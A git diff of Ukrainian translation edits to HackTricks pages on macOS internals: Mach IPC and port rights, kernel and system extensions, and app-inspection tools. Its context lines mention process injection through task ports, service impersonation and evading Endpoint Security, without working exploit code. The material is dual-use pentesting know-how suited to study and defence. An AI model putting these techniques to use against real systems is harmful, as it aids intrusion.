diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index f60952341..fcd956ae7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,7 +4,7 @@ ## XNU Kernel -**Ядро macOS - це XNU**, що означає "X is Not Unix". Це ядро в основному складається з **Mach мікроядра** (про яке буде сказано пізніше) **та** елементів з Berkeley Software Distribution (**BSD**). XNU також забезпечує платформу для **драйверів ядра через систему, звану I/O Kit**. Ядро XNU є частиною проекту з відкритим вихідним кодом Darwin, що означає, що **його вихідний код є вільно доступним**. +**Основою macOS є XNU**, що означає "X is Not Unix". Цей ядро в основному складається з **Mach мікроядра** (про яке буде сказано пізніше) **та** елементів з Berkeley Software Distribution (**BSD**). XNU також забезпечує платформу для **ядрових драйверів через систему, звану I/O Kit**. Ядро XNU є частиною проекту з відкритим кодом Darwin, що означає, що **його вихідний код є вільно доступним**. З точки зору дослідника безпеки або розробника Unix, **macOS** може здаватися досить **схожим** на систему **FreeBSD** з елегантним графічним інтерфейсом і безліччю спеціальних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності модифікацій, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, оскільки ядро XNU включає Mach, існують деякі суттєві відмінності між традиційною системою, подібною до Unix, і macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги. @@ -12,7 +12,7 @@ ### Mach -Mach - це **мікроядро**, розроблене для **сумісності з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **ядровому** просторі, і замість цього дозволити багатьом типовим функціям ядра, таким як файлові системи, мережеві з'єднання та I/O, **виконуватися як завдання на рівні користувача**. +Mach є **мікроядром**, розробленим для **сумісності з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **ядровому** просторі, і замість цього дозволити багатьом типовим функціям ядра, таким як файлові системи, мережеві з'єднання та I/O, **виконуватися як завдання на рівні користувача**. У XNU Mach **відповідає за багато критично важливих низькорівневих операцій**, які зазвичай обробляє ядро, таких як планування процесора, багатозадачність та управління віртуальною пам'яттю. @@ -27,19 +27,19 @@ Mach - це **мікроядро**, розроблене для **сумісно - Стек TCP/IP та сокети - Брандмауер та фільтрація пакетів -Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні рамки. Наприклад, BSD використовує процеси як свою основну одиницю виконання, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить точно один потік Mach. Коли використовується системний виклик fork() у BSD, код BSD в ядрі використовує функції Mach для створення структури завдання та потоку. +Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні рамки. Наприклад, BSD використовує процеси як свою основну одиницю виконання, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить точно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в ядрі використовує функції Mach для створення структури завдання та потоку. Більше того, **Mach і BSD кожен підтримує різні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесів**. Різниці між цими двома моделями іноді призводили до вразливостей підвищення локальних привілеїв. Окрім типових системних викликів, також існують **Mach traps, які дозволяють програмам користувацького простору взаємодіяти з ядром**. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS. ### I/O Kit - Драйвери -I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажені драйвери пристроїв**. Це дозволяє модульному коду бути доданим до ядра на льоту, підтримуючи різноманітне апаратне забезпечення. +I/O Kit є відкритим, об'єктно-орієнтованим **фреймворком драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Це дозволяє модульному коду бути доданим до ядра на льоту, підтримуючи різноманітне апаратне забезпечення. {{#ref}} macos-iokit.md {{#endref}} -### IPC - Міжпроцесна комунікація +### IPC - Міжпроцесорна комунікація {{#ref}} ../macos-proces-abuse/macos-ipc-inter-process-communication/ @@ -65,7 +65,7 @@ macos-system-extensions.md ## Посилання -- [**Посібник хакера Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) +- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 5fa155d4b..a522f72cd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -1,69 +1,69 @@ -# macOS IPC - Міжпроцесорна комунікація +# macOS IPC - Inter Process Communication {{#include ../../../../banners/hacktricks-training.md}} -## Mach повідомлення через порти +## Mach messaging via Ports -### Основна інформація +### Basic Information -Mach використовує **задачі** як **найменшу одиницю** для обміну ресурсами, і кожна задача може містити **кілька потоків**. Ці **задачі та потоки відображаються 1:1 на процеси та потоки POSIX**. +Mach використовує **tasks** як **найменшу одиницю** для обміну ресурсами, і кожен task може містити **кілька потоків**. Ці **tasks і threads відображаються 1:1 на POSIX процеси і потоки**. -Комунікація між задачами відбувається через міжпроцесорну комунікацію Mach (IPC), використовуючи односторонні канали зв'язку. **Повідомлення передаються між портами**, які діють як **черги повідомлень**, що управляються ядром. +Комунікація між tasks відбувається через Mach Inter-Process Communication (IPC), використовуючи односторонні канали зв'язку. **Повідомлення передаються між портами**, які діють як **черги повідомлень**, що управляються ядром. -Кожен процес має **таблицю IPC**, в якій можна знайти **mach порти процесу**. Ім'я mach порту насправді є числом (вказівником на об'єкт ядра). +Кожен процес має **IPC таблицю**, в якій можна знайти **mach порти процесу**. Ім'я mach порту насправді є числом (вказівником на об'єкт ядра). -Процес також може надіслати ім'я порту з певними правами **іншій задачі**, і ядро зробить так, щоб цей запис у **таблиці IPC іншої задачі** з'явився. +Процес також може надіслати ім'я порту з певними правами **іншому task** і ядро зробить цей запис у **IPC таблиці іншого task** видимим. -### Права портів +### Port Rights -Права портів, які визначають, які операції може виконувати задача, є ключовими для цієї комунікації. Можливі **права портів** ([визначення звідси](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +Права порту, які визначають, які операції може виконувати task, є ключовими для цієї комунікації. Можливі **права порту** ([визначення звідси](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Право отримання**, яке дозволяє отримувати повідомлення, надіслані на порт. Mach порти є MPSC (багато-виробник, один-споживач) чергами, що означає, що може бути лише **одне право отримання для кожного порту** в усій системі (на відміну від труб, де кілька процесів можуть утримувати дескриптори файлів для читання з однієї труби). -- **Задача з правом отримання** може отримувати повідомлення та **створювати права надсилання**, що дозволяє їй надсилати повідомлення. Спочатку лише **власна задача має право отримання над своїм портом**. -- **Право надсилання**, яке дозволяє надсилати повідомлення на порт. -- Право надсилання може бути **клоновано**, тому задача, що володіє правом надсилання, може клонувати право та **надати його третій задачі**. -- **Право надсилання один раз**, яке дозволяє надіслати одне повідомлення на порт, а потім зникає. -- **Право набору портів**, яке позначає _набір портів_, а не один порт. Витягування повідомлення з набору портів витягує повідомлення з одного з портів, які він містить. Набори портів можуть використовуватися для прослуховування кількох портів одночасно, подібно до `select`/`poll`/`epoll`/`kqueue` в Unix. -- **Мертве ім'я**, яке не є фактичним правом порту, а лише заповнювачем. Коли порт знищується, всі існуючі права портів на порт перетворюються на мертві імена. +- **Receive right**, що дозволяє отримувати повідомлення, надіслані на порт. Mach порти є MPSC (multiple-producer, single-consumer) чергами, що означає, що може бути лише **одне право отримання для кожного порту** в усій системі (на відміну від труб, де кілька процесів можуть утримувати дескриптори файлів для читання з однієї труби). +- **Task з Receive** правом може отримувати повідомлення і **створювати Send права**, що дозволяє йому надсилати повідомлення. Спочатку лише **власний task має Receive право на свій порт**. +- **Send right**, що дозволяє надсилати повідомлення на порт. +- Send право може бути **клоновано**, тому task, що володіє Send правом, може клонувати право і **надати його третьому task**. +- **Send-once right**, що дозволяє надіслати одне повідомлення на порт і потім зникати. +- **Port set right**, що позначає _набір портів_, а не один порт. Витягування повідомлення з набору портів витягує повідомлення з одного з портів, які він містить. Набори портів можуть використовуватися для прослуховування кількох портів одночасно, подібно до `select`/`poll`/`epoll`/`kqueue` в Unix. +- **Dead name**, що не є фактичним правом порту, а лише заповнювачем. Коли порт знищується, всі існуючі права порту на порт перетворюються на мертві імена. -**Задачі можуть передавати права надсилання іншим**, дозволяючи їм надсилати повідомлення назад. **Права надсилання також можуть бути клоновані, тому задача може дублювати і надавати право третій задачі**. Це, в поєднанні з проміжним процесом, відомим як **bootstrap server**, дозволяє ефективну комунікацію між задачами. +**Tasks можуть передавати SEND права іншим**, дозволяючи їм надсилати повідомлення назад. **SEND права також можуть бути клоновані, тому task може дублювати і надавати право третьому task**. Це, в поєднанні з проміжним процесом, відомим як **bootstrap server**, дозволяє ефективну комунікацію між tasks. -### Файлові порти +### File Ports -Файлові порти дозволяють інкапсулювати дескриптори файлів у Mac портах (використовуючи права портів Mach). Можна створити `fileport` з даного FD, використовуючи `fileport_makeport`, і створити FD з файлового порту, використовуючи `fileport_makefd`. +File ports дозволяють інкапсулювати дескриптори файлів у Mac портах (використовуючи права Mach порту). Можна створити `fileport` з даного FD, використовуючи `fileport_makeport`, і створити FD з fileport, використовуючи `fileport_makefd`. -### Встановлення комунікації +### Establishing a communication -#### Кроки: +#### Steps: -Як вже згадувалося, для встановлення каналу комунікації залучено **bootstrap server** (**launchd** в mac). +Як згадувалося, для встановлення каналу зв'язку залучено **bootstrap server** (**launchd** в mac). -1. Задача **A** ініціює **новий порт**, отримуючи **ПРАВО ОТРИМАННЯ** в процесі. -2. Задача **A**, будучи власником права отримання, **генерує ПРАВО НАДСИЛАННЯ для порту**. -3. Задача **A** встановлює **з'єднання** з **bootstrap server**, надаючи **ім'я служби порту** та **ПРАВО НАДСИЛАННЯ** через процедуру, відому як реєстрація bootstrap. -4. Задача **B** взаємодіє з **bootstrap server**, щоб виконати bootstrap **пошук за ім'ям служби**. Якщо успішно, **сервер дублює ПРАВО НАДСИЛАННЯ**, отримане від Задачі A, і **передає його Задачі B**. -5. Отримавши ПРАВО НАДСИЛАННЯ, Задача **B** здатна **сформулювати** **повідомлення** і надіслати його **Задачі A**. -6. Для двосторонньої комунікації зазвичай Задача **B** генерує новий порт з **ПРАВОМ ОТРИМАННЯ** та **ПРАВОМ НАДСИЛАННЯ**, і надає **ПРАВО НАДСИЛАННЯ Задачі A**, щоб вона могла надсилати повідомлення Задачі B (двостороння комунікація). +1. Task **A** ініціює **новий порт**, отримуючи **RECEIVE право** в процесі. +2. Task **A**, будучи власником RECEIVE права, **генерує SEND право для порту**. +3. Task **A** встановлює **з'єднання** з **bootstrap server**, надаючи **ім'я служби порту** та **SEND право** через процедуру, відому як реєстрація bootstrap. +4. Task **B** взаємодіє з **bootstrap server**, щоб виконати bootstrap **пошук для імені служби**. Якщо успішно, **сервер дублює SEND право**, отримане від Task A, і **передає його Task B**. +5. Отримавши SEND право, Task **B** здатний **сформулювати** **повідомлення** і надіслати його **Task A**. +6. Для двосторонньої комунікації зазвичай task **B** генерує новий порт з **RECEIVE** правом і **SEND** правом, і надає **SEND право Task A**, щоб він міг надсилати повідомлення TASK B (двостороння комунікація). -Bootstrap server **не може аутентифікувати** ім'я служби, яке заявляє задача. Це означає, що **задача** може потенційно **вдаватись під будь-яку системну задачу**, наприклад, неправильно **заявляючи ім'я служби авторизації** і потім схвалюючи кожен запит. +Bootstrap server **не може аутентифікувати** ім'я служби, яке заявляє task. Це означає, що **task** може потенційно **вдаватись під будь-який системний task**, наприклад, неправильно **заявляючи ім'я служби авторизації** і потім схвалюючи кожен запит. -Тоді Apple зберігає **імена служб, наданих системою**, у захищених конфігураційних файлах, розташованих у **каталогах, захищених SIP**: `/System/Library/LaunchDaemons` та `/System/Library/LaunchAgents`. Поряд з кожним ім'ям служби також зберігається **асоційований бінарний файл**. Bootstrap server створить і утримає **ПРАВО ОТРИМАННЯ для кожного з цих імен служб**. +Тоді Apple зберігає **імена служб, наданих системою**, у захищених конфігураційних файлах, розташованих у **SIP-захищених** каталогах: `/System/Library/LaunchDaemons` та `/System/Library/LaunchAgents`. Поряд з кожним ім'ям служби, **також зберігається асоційований бінарний файл**. Bootstrap server створить і утримає **RECEIVE право для кожного з цих імен служб**. Для цих попередньо визначених служб **процес пошуку трохи відрізняється**. Коли ім'я служби шукається, launchd динамічно запускає службу. Новий робочий процес виглядає так: -- Задача **B** ініціює bootstrap **пошук** за ім'ям служби. -- **launchd** перевіряє, чи задача працює, і якщо ні, **запускає** її. -- Задача **A** (служба) виконує **реєстрацію bootstrap**. Тут **bootstrap** сервер створює ПРАВО НАДСИЛАННЯ, утримує його і **передає ПРАВО ОТРИМАННЯ Задачі A**. -- launchd дублює **ПРАВО НАДСИЛАННЯ і надсилає його Задачі B**. -- Задача **B** генерує новий порт з **ПРАВОМ ОТРИМАННЯ** та **ПРАВОМ НАДСИЛАННЯ**, і надає **ПРАВО НАДСИЛАННЯ Задачі A** (службі), щоб вона могла надсилати повідомлення Задачі B (двостороння комунікація). +- Task **B** ініціює bootstrap **пошук** для імені служби. +- **launchd** перевіряє, чи працює task, і якщо ні, **запускає** його. +- Task **A** (служба) виконує **bootstrap check-in**. Тут **bootstrap** сервер створює SEND право, утримує його і **передає RECEIVE право Task A**. +- launchd дублює **SEND право і надсилає його Task B**. +- Task **B** генерує новий порт з **RECEIVE** правом і **SEND** правом, і надає **SEND право Task A** (службі), щоб вона могла надсилати повідомлення TASK B (двостороння комунікація). -Однак цей процес застосовується лише до попередньо визначених системних задач. Несистемні задачі все ще працюють, як було описано спочатку, що може потенційно дозволити вдавання. +Однак цей процес застосовується лише до попередньо визначених системних tasks. Несистемні tasks все ще працюють, як описано спочатку, що може потенційно дозволити вдавання. -### Mach Повідомлення +### A Mach Message -[Знайдіть більше інформації тут](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -Функція `mach_msg`, по суті, є системним викликом, що використовується для надсилання та отримання Mach повідомлень. Функція вимагає, щоб повідомлення, яке потрібно надіслати, було першим аргументом. Це повідомлення повинно починатися зі структури `mach_msg_header_t`, за якою слідує фактичний вміст повідомлення. Структура визначається наступним чином: +Функція `mach_msg`, по суті, є системним викликом, що використовується для надсилання та отримання Mach повідомлень. Функція вимагає, щоб повідомлення, що надсилається, було першим аргументом. Це повідомлення повинно починатися з структури `mach_msg_header_t`, за якою слідує фактичний вміст повідомлення. Структура визначається наступним чином: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -89,7 +89,7 @@ mach_msg_id_t msgh_id; - `msgh_id`: ID цього повідомлення, який інтерпретується отримувачем. > [!CAUTION] -> Зверніть увагу, що **mach повідомлення надсилаються через \_mach порт**\_, який є **каналом зв'язку з одним отримувачем** та **багатьма відправниками**, вбудованим у ядро mach. **Багато процесів** можуть **надсилати повідомлення** на mach порт, але в будь-який момент лише **один процес може читати** з нього. +> Зверніть увагу, що **mach повідомлення надсилаються через \_mach порт**\_, який є **каналом зв'язку з одним отримувачем** та **багатьма відправниками**, вбудованим у ядро mach. **Кілька процесів** можуть **надсилати повідомлення** на mach порт, але в будь-який момент лише **один процес може читати** з нього. ### Перерахувати порти ```bash @@ -231,7 +231,7 @@ printf("Sent a message\n"); - **Хост-привілейований порт**: Процес з правом **Send** над цим портом може виконувати **привілейовані дії**, такі як завантаження розширення ядра. **Процес повинен бути root**, щоб отримати цей дозвіл. - Більше того, для виклику **`kext_request`** API потрібно мати інші права **`com.apple.private.kext*`**, які надаються лише бінарним файлам Apple. - **Порт імені завдання:** Непривілейована версія _порт завдання_. Він посилається на завдання, але не дозволяє його контролювати. Єдине, що, здається, доступно через нього, це `task_info()`. -- **Порт завдання** (також відомий як порт ядра)**:** З правом Send над цим портом можливо контролювати завдання (читати/писати пам'ять, створювати потоки...). +- **Порт завдання** (також відомий як порт ядра): З правом Send над цим портом можливо контролювати завдання (читати/писати пам'ять, створювати потоки...). - Викличте `mach_task_self()`, щоб **отримати ім'я** для цього порту для викликаного завдання. Цей порт лише **успадковується** через **`exec()`**; нове завдання, створене за допомогою `fork()`, отримує новий порт завдання (як особливий випадок, завдання також отримує новий порт завдання після `exec()` в suid бінарі). Єдиний спосіб створити завдання та отримати його порт - це виконати ["танець обміну портами"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) під час виконання `fork()`. - Це обмеження для доступу до порту (з `macos_task_policy` з бінарного файлу `AppleMobileFileIntegrity`): - Якщо додаток має **`com.apple.security.get-task-allow` entitlement**, процеси з **того ж користувача можуть отримати доступ до порту завдання** (зазвичай додається Xcode для налагодження). Процес **нотаризації** не дозволить цього для виробничих релізів. @@ -500,11 +500,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ``` ### Впровадження Dylib у потік через порт завдання -У macOS **потоки** можуть бути маніпульовані через **Mach** або за допомогою **posix `pthread` api**. Потік, який ми створили в попередньому впровадженні, був створений за допомогою Mach api, тому **він не відповідає стандарту posix**. +У macOS **потоки** можуть бути маніпульовані через **Mach** або за допомогою **posix `pthread` api**. Потік, який ми створили в попередньому впровадженні, був створений за допомогою Mach api, тому **він не відповідає стандартам posix**. Було можливим **впровадити простий shellcode** для виконання команди, оскільки він **не потребував роботи з posix** сумісними api, лише з Mach. **Більш складні впровадження** вимагатимуть, щоб **потік** також був **сумісний з posix**. -Отже, щоб **покращити потік**, він повинен викликати **`pthread_create_from_mach_thread`**, що створить **дійсний pthread**. Тоді цей новий pthread може **викликати dlopen**, щоб **завантажити dylib** з системи, тому замість написання нового shellcode для виконання різних дій можна завантажити власні бібліотеки. +Отже, щоб **покращити потік**, він повинен викликати **`pthread_create_from_mach_thread`**, що створить **дійсний pthread**. Потім цей новий pthread може **викликати dlopen**, щоб **завантажити dylib** з системи, тому замість написання нового shellcode для виконання різних дій можна завантажити власні бібліотеки. Ви можете знайти **приклади dylibs** у (наприклад, той, що генерує журнал, а потім ви можете його прослухати): diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index d1b02c15c..3c542478a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -14,7 +14,7 @@ Kernel extensions (Kexts) — це **пакети** з розширенням **
-- Розширення ядра повинно бути **підписане сертифікатом підпису коду ядра**, який може бути **наданий тільки Apple**. Хто детально розгляне компанію та причини, чому це необхідно. +- Розширення ядра повинно бути **підписане сертифікатом підпису коду ядра**, який може бути **наданий лише Apple**. Хто детально розгляне компанію та причини, чому це необхідно. - Розширення ядра також повинно бути **нотаризоване**, Apple зможе перевірити його на наявність шкідливого ПЗ. - Потім, **кореневий** користувач є тим, хто може **завантажити розширення ядра**, а файли всередині пакета повинні **належати кореню**. - Під час процесу завантаження пакет повинен бути підготовлений у **захищеному місці, що не є кореневим**: `/Library/StagedExtensions` (вимагає надання `com.apple.rootless.storage.KernelExtensionManagement`). @@ -22,7 +22,7 @@ Kernel extensions (Kexts) — це **пакети** з розширенням ** ### Процес завантаження -У Catalina це виглядало так: Цікаво відзначити, що процес **перевірки** відбувається в **userland**. Однак тільки програми з наданням **`com.apple.private.security.kext-management`** можуть **запитувати у ядра завантажити розширення**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +У Catalina це виглядало так: Цікаво відзначити, що процес **перевірки** відбувається в **userland**. Однак лише програми з наданням **`com.apple.private.security.kext-management`** можуть **запитувати у ядра завантажити розширення**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` 1. **`kextutil`** cli **починає** процес **перевірки** для завантаження розширення - Він спілкуватиметься з **`kextd`**, використовуючи **Mach service**. @@ -51,14 +51,14 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ### Local Kerlnelcache -В iOS він знаходиться у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, в macOS ви можете знайти його за допомогою: **`find / -name "kernelcache" 2>/dev/null`** \ +В iOS він розташований у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, в macOS ви можете знайти його за допомогою: **`find / -name "kernelcache" 2>/dev/null`** \ У моєму випадку в macOS я знайшов його в: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -Формат файлу IMG4 - це контейнерний формат, який використовується Apple в його пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (як-от **kernelcache**). Формат IMG4 включає заголовок і кілька тегів, які інкапсулюють різні частини даних, включаючи фактичний корисний вантаж (як-от ядро або завантажувач), підпис та набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтверджувати автентичність та цілісність компонента прошивки перед його виконанням. +Формат файлу IMG4 - це контейнерний формат, який використовується Apple в її пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (як-от **kernelcache**). Формат IMG4 включає заголовок і кілька тегів, які інкапсулюють різні частини даних, включаючи фактичний корисний навантаження (як-от ядро або завантажувач), підпис і набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтверджувати автентичність та цілісність компонента прошивки перед його виконанням. Зазвичай він складається з наступних компонентів: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index aeaf66f6b..682c04f13 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -16,7 +16,7 @@ DriverKit є заміною для kernel extensions, які **надають а ### **Network Extensions** -Network Extensions надають можливість налаштовувати мережеву поведінку. Існує кілька типів Network Extensions: +Network Extensions надають можливість налаштування мережевої поведінки. Існує кілька типів Network Extensions: - **App Proxy**: Використовується для створення VPN-клієнта, який реалізує орієнтований на потоки, кастомний VPN-протокол. Це означає, що він обробляє мережевий трафік на основі з'єднань (або потоків), а не окремих пакетів. - **Packet Tunnel**: Використовується для створення VPN-клієнта, який реалізує орієнтований на пакети, кастомний VPN-протокол. Це означає, що він обробляє мережевий трафік на основі окремих пакетів. @@ -30,12 +30,12 @@ Endpoint Security - це фреймворк, наданий Apple в macOS, як Цей фреймворк надає **збірку API для моніторингу та контролю системної активності**, такої як виконання процесів, події файлової системи, мережеві та ядрові події. -Ядро цього фреймворку реалізовано в ядрі, як Kernel Extension (KEXT), розташоване за **`/System/Library/Extensions/EndpointSecurity.kext`**. Цей KEXT складається з кількох ключових компонентів: +Ядро цього фреймворку реалізовано в ядрі, як Kernel Extension (KEXT), розташоване за адресою **`/System/Library/Extensions/EndpointSecurity.kext`**. Цей KEXT складається з кількох ключових компонентів: - **EndpointSecurityDriver**: Діє як "точка входу" для розширення ядра. Це основна точка взаємодії між ОС та фреймворком Endpoint Security. - **EndpointSecurityEventManager**: Цей компонент відповідає за реалізацію ядрових хуків. Ядрові хуки дозволяють фреймворку моніторити системні події, перехоплюючи системні виклики. -- **EndpointSecurityClientManager**: Це управляє зв'язком з клієнтами простору користувача, відстежуючи, які клієнти підключені та потребують отримання сповіщень про події. -- **EndpointSecurityMessageManager**: Це надсилає повідомлення та сповіщення про події клієнтам простору користувача. +- **EndpointSecurityClientManager**: Цей компонент управляє зв'язком з клієнтами простору користувача, відстежуючи, які клієнти підключені та потребують отримання сповіщень про події. +- **EndpointSecurityMessageManager**: Цей компонент надсилає повідомлення та сповіщення про події клієнтам простору користувача. Події, які фреймворк Endpoint Security може моніторити, класифікуються на: @@ -61,7 +61,7 @@ Endpoint Security - це фреймворк, наданий Apple в macOS, як ## Обхід ESF -ESF використовується інструментами безпеки, які намагатимуться виявити червону команду, тому будь-яка інформація про те, як цього можна уникнути, звучить цікаво. +ESF використовується інструментами безпеки, які намагатимуться виявити червону команду, тому будь-яка інформація про те, як це можна уникнути, звучить цікаво. ### CVE-2021-30965 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 81a065447..8a6b4e6bf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -1,4 +1,4 @@ -# macOS Додатки - Інспекція, налагодження та Fuzzing +# macOS Apps - Інспекція, налагодження та Fuzzing {{#include ../../../banners/hacktricks-training.md}} @@ -84,7 +84,7 @@ ldid -S/tmp/entl.xml ### SuspiciousPackage [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) - це інструмент, корисний для перевірки **.pkg** файлів (інсталяторів) і перегляду їх вмісту перед установкою.\ -Ці інсталяційні пакети мають `preinstall` та `postinstall` bash-скрипти, які автори шкідливого ПЗ зазвичай зловживають для **постійності** **шкідливого** **ПЗ**. +Ці інсталятори мають `preinstall` та `postinstall` bash-скрипти, які автори шкідливого ПЗ зазвичай зловживають для **постійності** **шкідливого** **ПЗ**. ### hdiutil @@ -112,21 +112,21 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg - Змінні екземпляра інтерфейсу - Визначені протоколи -Зверніть увагу, що ці імена можуть бути обфусцовані, щоб ускладнити реверсування бінарного файлу. +Зверніть увагу, що ці імена можуть бути обфусцировані, щоб ускладнити реверсування бінарного файлу. ### Виклик функцій -Коли функція викликається в бінарному файлі, що використовує Objective-C, скомпільований код замість виклику цієї функції викликатиме **`objc_msgSend`**. Це буде викликати фінальну функцію: +Коли функція викликається в бінарному файлі, що використовує Objective-C, скомпільований код замість виклику цієї функції викликатиме **`objc_msgSend`**. Яка буде викликати фінальну функцію: ![](<../../../images/image (305).png>) Параметри, які очікує ця функція: -- Перший параметр (**self**) є "вказівником, який вказує на **екземпляр класу, що має отримати повідомлення**". Або простіше кажучи, це об'єкт, на якому викликається метод. Якщо метод є класовим методом, це буде екземпляр об'єкта класу (в цілому), тоді як для методу екземпляра self вказуватиме на створений екземпляр класу як об'єкт. -- Другий параметр (**op**) є "селектором методу, який обробляє повідомлення". Знову ж таки, простіше кажучи, це просто **ім'я методу.** +- Перший параметр (**self**) - "вказівник, який вказує на **екземпляр класу, що має отримати повідомлення**". А простіше кажучи, це об'єкт, на якому викликається метод. Якщо метод є класовим методом, це буде екземпляр об'єкта класу (в цілому), тоді як для методу екземпляра self вказуватиме на створений екземпляр класу як об'єкт. +- Другий параметр (**op**) - "селектор методу, який обробляє повідомлення". Знову ж таки, простіше кажучи, це просто **ім'я методу.** - Залишкові параметри - це будь-які **значення, які потрібні методу** (op). -Дивіться, як **легко отримати цю інформацію з `lldb` в ARM64** на цій сторінці: +Дивіться, як **легко отримати цю інформацію за допомогою `lldb` в ARM64** на цій сторінці: {{#ref}} arm64-basic-assembly.md @@ -148,7 +148,7 @@ x64: ### Dynadump -[**Dynadump**](https://github.com/DerekSelander/dynadump) - це інструмент для класового вивантаження Objective-C бінарних файлів. GitHub вказує на dylibs, але це також працює з виконуваними файлами. +[**Dynadump**](https://github.com/DerekSelander/dynadump) - це інструмент для класового вивантаження Objective-C бінарних файлів. Github вказує на dylibs, але це також працює з виконуваними файлами. ```bash ./dynadump dump /path/to/bin ``` @@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture [...] ``` -Ви можете знайти додаткову інформацію про [**інформацію, що зберігається в цих розділах, у цьому блозі**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). +Ви можете знайти додаткову інформацію про [**інформацію, збережену в цьому розділі, у цьому блозі**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). Більше того, **Swift бінарники можуть мати символи** (наприклад, бібліотеки повинні зберігати символи, щоб їх функції могли бути викликані). **Символи зазвичай містять інформацію про назву функції** та атрибути в неохайному вигляді, тому вони дуже корисні, і існують "**деманглери"**, які можуть отримати оригінальну назву: ```bash @@ -209,11 +209,11 @@ swift demangle > [!WARNING] > Зверніть увагу, що для **інструментування системних бінарних файлів**, (таких як `cloudconfigurationd`) на macOS, **SIP має бути вимкнено** (просто видалення підпису не спрацює). -### API +### APIs macOS надає деякі цікаві API, які надають інформацію про процеси: -- `proc_info`: Це основний API, який 